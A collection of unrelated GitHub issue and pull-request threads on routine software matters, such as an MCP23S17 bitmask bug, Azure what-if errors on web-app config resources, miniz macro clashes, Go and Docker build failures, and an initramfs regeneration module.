@eriego - just for you to know, I had covered this with the following Integration Tests (whole file) by targeting the SQL Server RDBMS. But it should work the same to all other supported RDBMS data providers. The support is not only intended to the IN operation, but also to all the other operations.
BTW, thank you for confirming. Please do not hesitate to revert if you have further questions.

Closing this one now.

Hello Michael
I have had to go back to the previous version.
With the new version I had to change the prefix of the parameters from : (colon)  to @ in all SQL statements, but now very strange errors are appearing that I think are also due to the parameters.

@eriego - I replied to your case in the GitterChat to speed-up the things. Maybe, you can share the problem in your side there? Please note that the latest release covers most of the IStatementBuilder SQL Statements generation via ExecuteQuery, there are much coverage than previous versions.


x16() functions don't work

Can't be bothered to make a pr
bool MCP23S17::setPullup16(uint16_t mask)
{
  writeReg(MCP23S17_PUR_A, mask >> 8);
  //writeReg(MCP23S17_PUR_B, mask & 8); //this is the original line with an incorrect bit mask
  writeReg(MCP23S17_PUR_B, mask & 0xFF); //this fixes it

Otherwise only the 4th bit is actually written of the B register, so it does not set the correct bits
Problems are with the following functions:
setPullup16
setPolarity16
write16
pinMode16

otherwise nice lib

Thanks for pointing out this bug, I will fix it asap

Bug is also in MCP23017_RT lib,
Thanks for pointing out.

That explains it, as it is not a small bug i guess.
A feature request would be a user-changable SPI instance. I modified the lib to accept a SPIClass pointer, as my board uses SPI1 on teensy 4.1. I could make a pr if you like, or send you the files.
Like so:
MCP23S17(uint8_t select, SPIClass* spi, uint8_t address = 0x00);
MCP23S17::MCP23S17(uint8_t select, SPIClass* spi, uint8_t address)
{
_address = address;
_select  = select;
_error   = MCP23S17_OK;
mySPI = spi;
_hwSPI   = true;
}

If I remember it, I will take a look at your hardware test.
I have dumped the header and source in this pastebin. https://pastebin.com/HWq74hLV
I made a couple of changes as your library didn't support the spi bus change, but if that is integrated I could use library directly so disregard the other changes.
In my constructor the spi bus comes before the address, but I think that it is more userfriendly to move the spi to be the last parameter, since that will not often be used, like:
MCP23S17(uint8_t select, uint8_t address = 0x00, SPIClass* spi = &SPI);

Thanks, there are not so much changes, only in the constructor and begin()
Need to see how to break the API as little as possible.
MCP23S17(uint8_t select, uint8_t address = 0x00, SPIClass* spi = &SPI);

sounds like a good step.
I will try to make a branch today based upon the 0.2.0 version.

Yeah, I think that will work for most application while keeping the original interface. Thanks!

Develop branch created so you might test  with the teensy if time permits.
The existing examples compile - I have still no HW setup to test.
(have to attend other projects now, will be back later today)

took some time to get CI test stable. Now it is time for an evening walk ..

Hi, I tested the code and it compiles without warnings and works fine. For reference, I used the following constructor:
MCP23S17 MCP(37, 0x4, &SPI1); // select pin + address pins + SPI port
passing all the tests. So thanks for the changes, now I can use the library directly.

The only negative thing is that you cannot check if the device is actually attached, but that is inherent to SPI and this chip has no ID or WHOAMI register as far as I know, so I suppose I'm out of luck there

Thanks for testing,
it is late now, I'll have tomorrow another look at the code / documentation and will merge it.

Ah, that is a really smart strategy. I think I will implement that. Indeed depending on the application you cannot output anything, but changing the polarity register should not change anything as the chip powers up as all input. But I would not integrate this in begin() just to be on the safe side.

I made issue #13 for this problem


[wip] updating pennylane

Non-breaking Changes:

Update PennyLane to v0.29.1
Fix broken file IO functionality and remove obsolete data transformations
Reformatting with black

@trbromley, Please Review. This pull request is small. It contains the update to pennylane 0.29 and I also fixed some bugs in the file IO methods because they were using old data structures.
Since these changes are small and non-breaking, I figured that they can merged as v0.4.2. After, I can focus on the more extensive breaking changes to the optimization framework we discussed.


Remove setuptools from dependencies

Package itself do not use setuptools and should not be in install_requires section. Solutions:

Move setuptools from install_requires to setup_requires (which is available since 0.6a1)
Drop setuptools requirement at all, since your version requirement for setuptools is 0.6b1 and this version was released almost 10 years(!) ago, I hope no one use it nowadays.

Why this counts for us. We build debian packages from python packages and since modern python have setuptools bundled, we do not need to build debian package of setuptools, but since this dependency in injector we have to.

Sounds reasonable. I'd happily merge a PR.

@alecthomas
Which solution you prefer?

Drop it!


[RESOURCE] ipynb as source files to sphinx

This project looks like it allows for ipynb as sources to the sphinx compilation system. It may be a useful resource when figuring out best default behaviours from rst to ipynb conversions.

How about changing the words "This project" to "The nbsphinx project"
in the wiki (so one knows which project without having to inspect the link)?

thanks @slel. Done.


401 Unauthorized

https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/401

I think 403 is valid status code in this instance.
Since the problem is with the permissions.


FD leaks when ep.start() failed or cancelled in acceptEvent or con.connect() failed

(cherry-pick from commit 9ded874c82de732d2c2d42c2b633d7e94adcb2e7)
Conflicts:
iocore/net/UnixNetVConnection.cc

@zwoop PR #2453 for 7.1.x.

backport #2453 to 7.1.x.

I think I'm going to cherry pick a32f7ed3e49f595633f59cc44481f42af01f7a58 and 9ded874c82de732d2c2d42c2b633d7e94adcb2e7 instead (both of them seem useful and is part of the reason for the merge conflict). Let me know if you disagree, and we can reopen this one.


Creating Dockerfile for project

Hi, I want to create a Dockerfile for the server side.
I have the following in the rtsp-server.js file
`Stream = require('node-rtsp-stream')
stream = new Stream({
"name": 'name',
"streamUrl": 'rtsp://user:pass@xxx.xx.xx.xx:xxx',
"wsPort": 8082,
"ffmpegOptions": { // options ffmpeg flags

  '-stats': '', // an option with no neccessary value uses a blank string
  '-r': 30, // options with required values specify the value after the key

}
})`
And in the Dockerfile, I have the following
FROM node:latest RUN mkdir -p /usr/src/app WORKDIR /usr/src/app COPY . /usr/src/app/ RUN apt-get update && apt-get -y install ffmpeg RUN npm install CMD node rtsp-server.js
This is the output I get in the console when I build and run the docker image.
 libavutil      55. 34.101 / 55. 34.101   libavcodec     57. 64.101 / 57. 64.101   libavformat    57. 56.101 / 57. 56.101   libavdevice    57.  1.100 / 57.  1.100   libavfilter     6. 65.100 /  6. 65.100   libavresample   3.  1.  0 /  3.  1.  0   libswscale      4.  2.100 /  4.  2.100   libswresample   2.  3.100 /  2.  3.100   libpostproc    54.  1.100 / 54.  1.100 [rtsp @ 0x55b11cf73ec0] UDP timeout, retrying with TCP [rtsp @ 0x55b11cf73ec0] method PAUSE failed: 551 Option not supported [rtsp @ 0x55b11cf73ec0] Could not find codec parameters for stream 0 (Video: h264, none): unspecified size Consider increasing the value for the 'analyzeduration' and 'probesize' options Input #0, rtsp, from 'rtsp://user:pass@xxxxxxxxxxx':   Metadata:     title           : Media Presentation   Duration: N/A, bitrate: N/A     Stream #0:0: Video: h264, none, 90k tbr, 90k tbn, 180k tbc Output #0, mpegts, to 'pipe:': Output file #0 does not contain any stream

For the sake of simplicity I've created a docker image. you can use it directly.
more details in description of docker hub.
https://hub.docker.com/r/kavyesh/node-rtsp-ws

@Kavyeshs41 wow thank you! This is great!


Unable to build 1.0.1

Hi guys,
Today I tried to build v1.0.1 but I get this error.
I'm not very familiar with Go so sorry for poor debug from me.
Step 8/16 : COPY controllers/ controllers/
 ---> 273c7d4ba1db
Step 9/16 : COPY backend/ backend/
 ---> f7408c3189eb
Step 10/16 : COPY errors/ errors/
 ---> 1eb5effb65c1
Step 11/16 : ARG SECRETS_MANAGER_VERSION
 ---> Running in 7095e5eb74c8
Removing intermediate container 7095e5eb74c8
 ---> d63f784cf605
Step 12/16 : RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 GO111MODULE=on go build -ldflags "-X main.version=${SECRETS_MANAGER_VERSION}" -a -o secrets-manager main.go
 ---> Running in 4e7431fdf222
# github.com/tuenti/secrets-manager/api/v1alpha1
api/v1alpha1/secretdefinition_types.go:68:25: cannot use &SecretDefinition literal (type *SecretDefinition) as type runtime.Object in argument to SchemeBuilder.Register:
	*SecretDefinition does not implement runtime.Object (missing DeepCopyObject method)
api/v1alpha1/secretdefinition_types.go:68:46: cannot use &SecretDefinitionList literal (type *SecretDefinitionList) as type runtime.Object in argument to SchemeBuilder.Register:
	*SecretDefinitionList does not implement runtime.Object (missing DeepCopyObject method)
The command '/bin/sh -c CGO_ENABLED=0 GOOS=linux GOARCH=amd64 GO111MODULE=on go build -ldflags "-X main.version=${SECRETS_MANAGER_VERSION}" -a -o secrets-manager main.go' returned a non-zero code: 2

Hi @rvojcik !!
This is how I build the docker image:
GO111MODULE=on DOCKER_REGISTRY="<my-docker-registry/repo>" make docker-build
How are you building it? What is your go version?
Thanks!

Hi, sorry for delay.
I just run docker build so it builds inside docker container as it's specified in Dockerfile.
It uses go 1.12 image
# Build the manager binary
FROM golang:1.12.5 as builder

I noticed it when it failed build on hub.docker.com.

I think you might be missing the build args. Can you just use make as I showed you above?

@rvojcik did you have a chance to test it?

Hi, sorry was too busy. I didn't tried it so far. I tried just
docker build . which use Dockerfile inside git repo to build it in docker containers.
It was the main problem for me because I didn't build docker image myself and I let the registry service to build it for me when something changed.

Ok I found the problem, I have to set env variable SECRETS_MANAGER_VERSION.
So I somehow put it to the build process

Ok another update. Somehow when I tried to build it like you say, it's worked, and from there it's  it worked every time even when run docker buil . but.. when I clone clean repository and run docker build above it, it fails with that error.

Add these 2 lines before the build in the docker container and it will build straight from the dockerfile
RUN go get<EMAIL_ADDRESS>RUN /go/bin/controller-gen object:headerFile=./hack/boilerplate.go.txt paths=./api/...

Thanks, it works now. I have to add COPY hack/ hack/


Helm support doesn't import CRDs

Description of the bug:
Importing helm charts using documentation over here.
However, it doesn't import CustomResourceDefinitions or custom objects.
I have confirmed that when I install the helm chart that the CRDs are created.
Reproduction Steps:
Here is a link to the complete code needed to reproduce the issue
You will need to follow the instructions in this page to get an API token.
And then you will need the following environment variables
AppsCodeName # Your Full Name
AppsCodeEmail # The email address you used to register your token with
AppsCodeToken # The token you have received by email
Environment:
cdk8s: 2.2.18
cdk8s-cli: 1.0.100
node: v16.14.0
Ubuntu: 20.04.3 LTS

This is :bug: Bug Report

Ignore this bug. Just need to add --include-crds to the helm flags line like below. I am wondering why you wouldn't want this behaviour as default though?
    const chart = new Helm(this, "kubedb-chart", {
      chart: "appscode/kubedb",
      values: {
        global: {
          license: licenseResponse,
          skipCleaner: true,
        },
      },
      helmFlags: [`--version=v${releaseName}`, "--include-crds", "--namespace=kubedb"],
    })


Support only object schema

Working on a custom editor this morning but just found out that custom editor can’t be tied to schemes. Why is that? I’d like do this instead of fileSelector.
    "customEditors": [
      {
        "viewType": "vscode-ibmi-fs",
        "displayName": "Object",
        "selector": [
          {
            "scheme": "object"
          }
        ],
        "priority": "default"
      }
    ],

          {
            "filenamePattern": "object*/**/*.{BNDDIR,bnddir}"
          },
          ```


Microsoft.Web/sites/config connectionstrings

Describe the noise
Getting the following error when using Get-AzResourceGroupDeploymentWhatIfResult
{
    "Code": "DeploymentWhatIfResourceError",
    "Message": "The request to predict template deployment changes to subscription 'xxx' and resource group 'xx' has failed due to a resource error. See details for more information.",
    "Target": "/subscriptions/xxx/resourceGroups/xxx/providers/Microsoft.Web/sites/xxx/config/connectionstrings?api-version=2019-08-01",
    "Details": [
      {
        "Code": "DeploymentWhatIfResourceInvalidResponse",
        "Message": "The request '/subscriptions/xxx/resourceGroupsxxx/providers/Microsoft.Web/sites/xxx/config/connectionstrings?api-version=2019-08-01' resulted in an unexpected HTTP status code 'MethodNotAllowed'. Diagnostic information: timestamp '20200525T055352Z', tracking id 'd661b992-d491-4eaa-961f-2ddad125ed43', request correlation id '7da8b3fa-6c24-49e4-918f-9cc66beb7d97', location 'australiaeast'.",
        "Target": "/subscriptions/xxx/resourceGroups/xxx/providers/Microsoft.Web/sites/xxx/config/connectionstrings?api-version=2019-08-01",
        "Details": [],
        "AdditionalInfo": []
      }
    ],
    "AdditionalInfo": []
  }

Resource type:
Microsoft.Web/sites/config
apiVersion:
2019-08-01
Client:
PowerShell
Relevant ARM Template code:
{
        "apiVersion": "2016-08-01",
        "type": "Microsoft.Web/sites",
        "kind": "app",
        "name": "[concat(parameters('svcPlanName'), '-', parameters('WebApps')[copyIndex()], '-', parameters('AzureRegion'))]",
        "location": "[resourceGroup().location]",
        "identity": {
          "type": "SystemAssigned, UserAssigned",
          "userAssignedIdentities": {
            "[resourceId(parameters('KeyVaultResourceGroup'), 'Microsoft.ManagedIdentity/userAssignedIdentities', parameters('UserIdentity'))]": {}
          }
        },
        "copy": {
          "name": "WebAppcopy",
          "count": "[length(parameters('WebApps'))]"
        },
        "properties": {
          "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', concat(parameters('svcPlanName'), '-', parameters('AzureRegion')))]",
          "httpsOnly": true
        },
        "dependsOn": [
          "[resourceId('Microsoft.Web/serverfarms',concat(parameters('svcPlanName'), '-', parameters('AzureRegion')))]",
          "[resourceId('Microsoft.Insights/components', concat(parameters('svcPlanName'), '-', parameters('WebApps')[copyIndex()], '-', parameters('AzureRegion')))]"
        ],
        "resources": [
          {
            "apiVersion": "2019-08-01",
            "type": "config",
            "name": "connectionstrings",
            "dependsOn": [
              "[concat('Microsoft.Web/sites/', concat(parameters('svcPlanName'), '-', parameters('WebApps')[copyIndex()], '-', parameters('AzureRegion')))]"
            ],
            "properties": {
              "CMSConnectionString": {
                "value": "[concat('@Microsoft.KeyVault(SecretUri=', reference(resourceId(parameters('KeyVaultResourceGroup'), 'Microsoft.KeyVault/vaults/secrets', parameters('KeyVaultName'), parameters('CMSConnectionStringSecretName')), '2018-02-14').secretUriWithVersion, ')')]",
                "type": "SQLServer"
              },
              "CMSOMConnectionString": {
                "value": "[concat('@Microsoft.KeyVault(SecretUri=', reference(resourceId(parameters('KeyVaultResourceGroup'), 'Microsoft.KeyVault/vaults/secrets', parameters('KeyVaultName'), parameters('CMSOMConnectionStringSecretName')), '2018-02-14').secretUriWithVersion, ')')]",
                "type": "SQLServer"
              },
              "AIHWSessionState": {
                "value": "[concat('@Microsoft.KeyVault(SecretUri=', reference(resourceId(parameters('KeyVaultResourceGroup'), 'Microsoft.KeyVault/vaults/secrets', parameters('KeyVaultName'), parameters('SessionConnectionStringSecretName')), '2018-02-14').secretUriWithVersion, ')')]",
                "type": "SQLServer"
              }
            }
          }

Expected response:
Expected noise
Additional context
Connection strings are KeyVault references

might be related to https://github.com/Azure/arm-template-whatif/issues/65
Can you consistently reproduce this or is the error intermittent?

Hi @alex-frankel I can consistently reproduce the error. I have not been able to successfully run the what-if functions on my appservice template. I have tried different api versions with the same result. I also replaced the keyvault with string values and I still get the same error.

Thanks - we will investigate

correlationId: 7da8b3fa-6c24-49e4-918f-9cc66beb7d97

I have the same issue! :)

The root cause is that the RP doesn't allow GET method on a web config when the config name is connectionstring, because that is a secret.

Apologies if it is already know (I don't see it mentioned elsewhere in the issues).
I also see this on Microsoft.Web/sites/config authsettings.

Same issue here with Microsoft.Web/sites/config/appsettings.
Moving the appsettings directly into the siteconfig of Microsoft.Web/sites works fine, however this is not an option because that would cause a circular dependency with keyvault references in my case.

I get the same error on the following resource btw:
    {
      "type": "Microsoft.Web/sites/config",
      "apiVersion": "2018-11-01",
      "name": "[concat(variables('frontendAppName'), '/authsettings')]",
      "location": "[resourceGroup().location]",
      "dependsOn": [
        "[concat('Microsoft.Web/sites/', variables('frontendAppName'))]"
      ],
      "properties": {
        "unauthenticatedClientAction": "RedirectToLoginPage",
        "enabled": true,
        "clientId": "REDACTED",
        "issuer": "https://sts.windows.net/REDACTED/"
      }
    },

I'm getting the same issue as above, when deploying appsettings in the /sites/config resource.
I tested what @vforteli said about moving the appsettings directly into the siteConfig of Microsoft.Web/sites and this causes the settings not to be included in the deploy.

What I want is for what-if to show this one part as redacted or not comparable in the what-if result but otherwise give an answer. I love the idea that what-if protects me from displaying secrets but I want the rest to work. I want to use the feature.

Any updates about this?

Any updates about this?

The web team is working on fixing the issue now. The ETA for the fix to be rolled out is mid April.

@shenglol does this mean that we will be able to do what-if deployments if we have Microsoft.Web/sites/config@VERSION authsettings  in our templates?

@mauve Yes, that's correct.

Hi, do you have a status update?

ETA for fix was mid-April, per above, but error is still biting me.
Hoping for a resolution to this (and by extension #65). I am in a similar boat to @vforteli where defining the app settings as a separate resource is necessary to avoid a circular dependency with Key Vault secrets. Despite lots of warnings that what-if just 'isn't ready yet' I found it really helpful in other situations. Alas, could use it now and can't. 😢

It seems the fix is still not rolled out by the web team. I'll follow up with them and get an updated ETA. In the meantime, we are updating the What-If backend to handle ARM RPC violations gracefully, so that resource types that do not support GET will be reported as "Unsupported".

Latest ETA is now mid-June.

@alex-frankel the mid-June ETA, is that for the What-If backend workaround or for proper fix by the WebSites-team

For the proper fix

Any update about this one?

Any update on this?

I'm waiting on an update from the web team..
Has anyone attempted to repro recently? It may have been deployed by this point.

@alex-frankel when I posted 4 days ago it was because it wasn't working. Didn't retry recently though

Latest update:
This is rolled out to every region except "south central US". ETA to complete the rollout is 7/2.

The fix has been rolled out.


potential performance issues

I haven't done any benchmarks, but from reading the code, I see two potentially quite large performance problems.

You're cloning the entire RegexSet on each call to handle. It's true that cloning a Regex or a RegexSet is in and of itself very cheap, but in doing so you will have lost any state built up from previous matching, which will impact performance. (One might argue that this is a problem with Regex and that it should clone the internal state, but then your clone won't be cheap.)
In handle, the code is compiling a Regex for every match. Regex compilation is not something you should think of as being fast, and in this case, will probably negate many of the perf benefits. Instead, I'd recommend compiling each regex added to RegexSet as it is built, and then using the index you get back from matches to find the right regex to use.

You're absolutely right, I will have to revisit that part of the code. I can add that state to the structure so lookups can be faster. Thanks for taking the time to point out some flaws!

So I managed to triple requests per second with this commit with my simple wrk benchmark. Around 85K which I was impressed with. I always take those with a grain of salt, but that's much better than before! See here: https://github.com/gsquire/reroute/commit/6db7c266d5f83e690079c67906fadc6c9003c83c

Also, thank you for doing another CR. I really appreciate it.

@gsquire Looks much better! Nice work. :-)


UI: Red Hat Customer  Portal link broken in about page

Description of problem:
Version-Release number of selected component (if applicable):
Upstream - master.20150127070628_e51ab51
How reproducible:
Always
Steps to Reproduce:

Navigate to configure->About page

Actual results:
Link Broken. see attached screenshot

Fixed by #1528.


Enhancement ; Rules for detecting non recommended HTTP DELETE + Payload

implement a warning rules when a DELETE has a requestBody as even it it can be supported is not a recommended pattern
could be set to INFO or Warning

I have written a custom plugin rule that checks that delete operations return 204 and contain no response body. I can contribute it as a PR on Monday

@lobocv  as the rules will looks similar if you have the solution for DELETE can you also push a rules for GET + payload as warning
btw here is a conversation for the rules
https://stackoverflow.com/questions/978061/http-get-with-request-body

Thanks for the bump! Sorry, this fell off my radar. I will try and get a PR up today or tomorrow. I have a few other things on my plate right now I need to prepare for.
I can definitely do that too @LasneF!

🤔 interesting , by no content i was not looking for HTTP response code that is here subject to debate toward simplicity and 'preference'
i was more thinking about the presence of the requestBody

Ah I see. I misunderstood. Yes the HTTP DELETE and GET operations should not have a request payload. I was thinking of response payload. You can do this with the DSL easily:

  http-delete-no-request-body:
    id: delete-no-request-body
    description: HTTP DELETE operations should not accept a request body
    type: style
    severity: error
    given: "$.paths[*].delete"
    then:
      - field: 'requestBody'
        function: undefined

  http-get-no-request-body:
    id: delete-no-request-body
    description: HTTP GET operations should not accept a request body
    type: style
    severity: error
    given: "$.paths[*].get"
    then:
      - field: 'requestBody'
        function: undefined

I am just finishing up a PR to add these functions. It was pretty easy. I'll post it soon. It handles get and delete methods


Promote Golang UK talk

Hey Achilleas 👋
You're on the front page of Hacker News right now, this is probably a great opportunity to promote your talk. 😉
I for one would be fascinated to hear more about this project.

Codecov Report

Merging #15 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##           master    #15   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files          14     14
  Lines         484    484
=====================================
  Hits          484    484

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a5be59e...f49961d. Read the comment docs.

Hello @achilleasa Achilea, another Greek gopher here, nice to see your project trending, I hope you the bests!!

Thanks for the heads up @boxofrad!
Given that the time for the talk is limited to just 30min I will be presenting a more high-level/simplified version of the work I am doing here (although I plan to end the talk with an interesting demo ;-)).


Also, my experience on Windows is that when a build fails, the executable isn't automatically removed. I've never had problems with errors on OSX/Linux.


Use github release to produce binaries

To facilitate the use of plugins in Thyra, we need to automatize the packaging+upload of the plugin.
This issue is about thyra playground plugin but we should be able to reuse this for other plugins
Whats is already done?:

packaging for Linux and MacOs and windows wich produces workflow artifact (which is a zip archive)

what we want:

use github release upload instead of workflow artifact.
the issue with workflow artifact is to be forced to use zip archive which lead to the loss of file permission (annoying especially for executables)
The idea is to use tar for linux/mac and 7z for windows to package the plugin.
Inspiration can be found here:
https://github.com/massalabs/massa-sc-tester/blob/main/.github/workflows/cd.yml

@longgamma-massa what is the status of the playground product please ?
Is that fair to delete or ignore it completely (ie: not to maintain it until further notice)?


Defines breaks the code

In the miniz.h there are tons of #define directives, which might break someones code.
Eg. I've written a small C++ function called compressedsimillar to following:
// my_file.hpp
#include <string>

namespace my::very::looong::annd::prrivate::namespacename
{
    std::string compress(const std::string &s1, const std::string &s2, const std::string &s3, const std::string &s4);
} // namespace my::very::looong::annd::prrivate::namespacename

// my_file.cpp
#include "my_file.hpp"
#include <miniz.h>

namespace my::very::looong::annd::prrivate::namespacename
{
    std::string compress(const std::string &s1, const std::string &s2, const std::string &s3, const std::string &s4)
    {
        return s1 + s2 + s3 + s4;
    }
} // namespace my::very::looong::annd::prrivate::namespacename

When using miniz, linker will not be able to process it and will report an error:
/usr/bin/ld: CMakeFiles/test_app.dir/main.cpp.o: in function `main':
/home/azbana/test/mz/cpp/main.cpp:5:(.text+0xfa): undefined reference to `my::very::looong::annd::prrivate::namespacename::compress(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)'
collect2: error: ld returned 1 exit status
gmake[2]: *** [CMakeFiles/test_app.dir/build.make:114: test_app] Error 1

The reason behind this issue is this #define, which changes
std::string compress(const std::string &s1, const std::string &s2, const std::string &s3, const std::string &s4)

in the .cpp file into
std::string mz_compress(const std::string &s1, const std::string &s2, const std::string &s3, const std::string &s4)

I would assume that it would be pretty common to write function called compress/uncompress, when using this library as a dependency. I would suggest that the logic behind those #define, eg:
#ifndef MINIZ_NO_INFLATE_APIS
#define inflateInit mz_inflateInit
#define inflateInit2 mz_inflateInit2
#define inflateReset mz_inflateReset
#define inflate mz_inflate
#define inflateEnd mz_inflateEnd
#define uncompress mz_uncompress
#define uncompress2 mz_uncompress2
#endif /*#ifndef MINIZ_NO_INFLATE_APIS*/

Could be potentially changed to:
#ifdef MINIZ_INFLATE_APIS
#define inflateInit mz_inflateInit
#define inflateInit2 mz_inflateInit2
#define inflateReset mz_inflateReset
#define inflate mz_inflate
#define inflateEnd mz_inflateEnd
#define uncompress mz_uncompress
#define uncompress2 mz_uncompress2
#endif /*#ifdef MINIZ_INFLATE_APIS*/

Does this help a bit? 2fa13ca8a3cf196345001c9fe17bf42ee32c00f9
You should use the MINIZ_NO_ZLIB_COMPATIBLE_NAMES define

Your change looks great! Thanks for that!
Yeah, I'm aware of the trick with MINIZ_NO_ZLIB_COMPATIBLE_NAMES, but it was surprising for me, that those #defines by default might silently change symbols in my codebase.
Anyway, now, when you've replaced them with functions, everything's great and this issue should be closed! Thanks once again!


DRY

Code is not DRY as there are repetition of eventlisteners which can be made simpler.
https://github.com/christianonoh/ToDoList/blob/1121a58493db766457b2bf198b89c5bdaff38976/src/task.js#L12-L49

Followed Javascript best practices:

Descriptive names
DOM management
Simplicity

HTML & CSS
Followed HTML & CSS best practices:

Semantics tags
Avoided long lines of code


Broken peerDependencies (react-admin v2.x)

react-admin is a peer dependency of this package, but for version ^2.1.1:
https://github.com/josx/ra-data-feathers/blob/master/package.json#L49
This is totally broken, as react-admin v4 is the latest stable now, and before there was react-admin v3.

@grigoryo: Can you create a PR for this in this repo? I just ran into this exact issue.

As a workaround, this can be used in the project package.json:
    "overrides":{
        "react-admin": "^3.19.10"
    },

Due to an issue with npm, both, package-lock.json and node_modules/ have to be removed, before npm install uses the override.


Invalidate column id after ddl

Bug Report
Please answer these questions before submitting your issue. Thanks!
1. Minimal reproduce step (Required)

https://tcms.pingcap.net/dashboard/executions/plan/602195
http://minio.pingcap.net:42041/buckets/test-infra-testground/browse/YXJjaGl2ZS9lbmRsZXNzLWh0YXAtY2gtbXV0aXBsZS1kaXNrcy10cHMtNjAyMTk1LTEtOTI2Lw==
[2022/02/02 14:35:00.513 +08:00] [INFO] [ddl.go:83] ["ddl sequence"] [sql="alter table warehouse add column adc_2 datetime(6)"]
[2022/02/02 14:35:00.520 +08:00] [INFO] [ddl.go:83] ["ddl sequence"] [sql="update warehouse set adc_2 = null limit 2"]
[2022/02/02 14:35:00.712 +08:00] [INFO] [ddl.go:83] ["ddl sequence"] [sql="select /*+ read_from_storage(TIFLASH[warehouse]) */ adc_2 from warehouse limit 2"]
[2022/02/02 14:35:00.712 +08:00] [ERROR] [ddl.go:85] ["sql error"] [sql="select /*+ read_from_storage(TIFLASH[warehouse]) */ adc_2 from warehouse limit 2"] [error="Error 1105: other error for mpp stream: DB::Exception: code: 49\nmsg: \"DB::String TiDB::TableInfo::getColumnName(const DB::ColumnID) const: Invalidate column id 11 for table warehouse\"\n"]

2. What did you expect to see? (Required)
3. What did you see instead (Required)
4. What is your TiFlash version? (Required)
master
[2022/02/02 14:27:07.110 +08:00] [INFO] [client.go:338] ["Cluster version information"] [type=pd] [version=5.5.0-nightly] [git_hash=51960c3a225b43f885e965d5f4b0d4e263183587]
[2022/02/02 14:27:07.110 +08:00] [INFO] [client.go:338] ["Cluster version information"] [type=tiflash] [version=5.5.0-nightly] [git_hash=e7612d90bb763878ae7764ef770cf56c5b3a0ae4]
[2022/02/02 14:27:07.110 +08:00] [INFO] [client.go:338] ["Cluster version information"] [type=tidb] [version=5.5.0-nightly] [git_hash=9f10e692fd8dbfa712c869cd9c13c2bf042af467]
[2022/02/02 14:27:07.110 +08:00] [INFO] [client.go:338] ["Cluster version information"] [type=tikv] [version=5.4.0-alpha] [git_hash=8b23c7bddcd03bed9b83a3bd3cab114a4a40459d]

Update.


[Spark] Use condition instead of errorClass in checkError()

Which Delta project/connector is this regarding?

[x] Spark
[ ] Standalone
[ ] Flink
[ ] Kernel
[ ] Other (fill in here)

Description
In the PR, I propose to use the condition parameter instead of errorClass in calls of checkError because errorClass was renamed in Spark by the PR https://github.com/apache/spark/pull/48027. This PR fixes compilation issues like:
[error]       checkError(
[error]       ^
[error] /home/runner/work/delta/delta/spark/src/test/scala/org/apache/spark/sql/delta/rowtracking/RowTrackingReadWriteSuite.scala:304:7: overloaded method checkError with alternatives:
[error]   (exception: org.apache.spark.SparkThrowable,condition: String,sqlState: Option[String],parameters: Map[String,String],context: RowTrackingReadWriteSuite.this.ExpectedContext)Unit <and>

How was this patch tested?
By compiling locally.
Does this PR introduce any user-facing changes?
No. This makes changes in tests only.

@cloud-fan Could you have a look at the PR, please. It fixes compilation issues.

I think Delta master branch needs to cross-compile with both Spark master and 3.5 branches

We should create a shim layer for checkError

@cloud-fan As an alternative solution, we could pass the first two arguments exception and condition (errorClass) by positions not by names. The rest arg could be passed by names. I have double checked all checkError, they all starts from those two args:
  protected def checkError(
      exception: SparkThrowable,
      condition: String,

@cloud-fan Compilation has been fixed. The failed tests are not related to my changes, I hope.


feat: initramfs module

Intro
This type of module would be unique in 1 way.
In my proposal, module would be automatically enabled for all BlueBuild images & it would always run last in the pipeline.
Reason
It makes it possible for the users to include stuff like modprobe or module configs in files, without need to manually fiddle with the initramfs regeneration script.
Linux distributions also do this for their own modifications.
I don't ever see the scenario of users needing to manually disable this, except to gain a little bit faster image-builds, which is not worth it imo.
It makes the 1 consistent script available for everyone to use, instead of it being scattered everywhere.
This also makes it possible for the users to report issues or PR improvements to it in 1 consistent place, which is great.
For Fedora Atomic/Universal Blue, this is the script:
#!/usr/bin/env bash

set -euo pipefail

QUALIFIED_KERNEL="$(rpm -qa | grep -P 'kernel-(\d+\.\d+\.\d+)' | sed -E 's/kernel-//')"
/usr/bin/dracut --no-hostonly --kver "${QUALIFIED_KERNEL}" --reproducible -v --add ostree -f "/lib/modules/${QUALIFIED_KERNEL}/initramfs.img"
chmod 0600 "/lib/modules/${QUALIFIED_KERNEL}/initramfs.img"

In the future, VanillaOS could be also easily supported here.
They seem to use their custom update-initramfs.
https://github.com/Vanilla-OS/ABRoot/blob/f818e46888642053900eccfd0a16758eb60bce15/cmd/update-initramfs.go
Additional options
Maybe we would add option to specify type: initramfs just for making initramfs options available to customize.
Like compression method for example.
Defaults would be optimized for the best operation (like Fedora defaults are).
Potential blockers
Fedora's switch to UKI (Unified Kernel Image)
Initramfs would be bundled in UKI, so the proposed method of initramfs regeneration wouldn't work. It would be more complicated to do so & maybe not even possible.

Great! If it works and is that simple, that's amazing.

In my proposal, module would be automatically enabled for all BlueBuild images & it would always run last in the pipeline.

I would rather tuck it down with the signing module in the template, making it just a normal module that one can remove if they wish. Of course, existing users would have to be informed about this, and they could just add the module if they want or need to.

I believe that uname -r can be used to generically determine the kernel version, which fixes the issue of QUALIFIED_KERNEL logic.
Better to use that, until https://github.com/blue-build/cli/issues/188 gets ready.
What do you think?

rpm-ostree cliwrap option is deprecated since Fedora 41 & regenerating initramfs works without it now.

I found a way to determine kernel version without need to use rpm
I just use find "/usr/lib/modules/" -mindepth 1 -maxdepth 1 -type d -printf "%f\n"
And it works well.
If more kernel versions are detected, that means that previous kernel wasn't removed correctly & build will fail.
I tested it with vanilla & surface kernel.
So we can proceed with making the module & merging it in


move go sdk to another repo

move go sdk to another repo

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.tianbing.ytb seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


